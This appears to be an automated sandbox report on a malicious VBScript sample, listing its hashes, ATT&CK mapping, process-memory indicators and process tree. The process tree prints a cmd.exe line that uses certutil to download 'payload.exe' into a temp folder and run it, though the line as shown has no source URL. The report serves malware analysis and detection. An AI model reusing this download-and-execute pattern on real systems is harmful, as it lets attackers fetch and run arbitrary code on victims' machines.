43f40a78d3e447655b12c956bcbd64540d19f774216858dfb0791cdbb492ea07

Analysis

max time kernel
37s
max time network
42s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
01/02/2023, 15:13

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General

Target
MT_26009786_45342023_TXT.vbs
Size 396KB
Sample230201-slrmtaac74
SHA256 43f40a78d3e447655b12c956bcbd64540d19f774216858dfb0791cdbb492ea07
MD5 3d0a93057793efef0c46b3548092097c
SHA1 5f794fc15e991c2e5935c47b9eb069400ebf2054
SHA512 fadad465d14088868548d3c7d50a27fd333da044cb2c18163aab649a4190a163d4971a20e69d0088097c2a47110521771e485da20cef421f5f109934c8d290f5
SSDEEP 192:fQIov4+++++TI+++++S+++++u+C+++++B+++++oRUAzHN+++++o+++++o+++++oG:fM26UjH
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1364 wrote to memory of 1736	1364	WScript.exe	28
PID 1364 wrote to memory of 1736	1364	WScript.exe	28
PID 1364 wrote to memory of 1736	1364	WScript.exe	28
PID 1736 wrote to memory of 1696	1736	cmd.exe	30
PID 1736 wrote to memory of 1696	1736	cmd.exe	30
PID 1736 wrote to memory of 1696	1736	cmd.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MT_26009786_45342023_TXT.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f C:\Windows\Temp\payload.exe & C:\Windows\Temp\payload.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f C:\Windows\Temp\payload.exe
    3⤵
    PID:1696

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1364-54-0x000007FEFBC71000-0x000007FEFBC73000-memory.dmp

Download

memory/1696-57-0x00000000FFA81000-0x00000000FFA83000-memory.dmp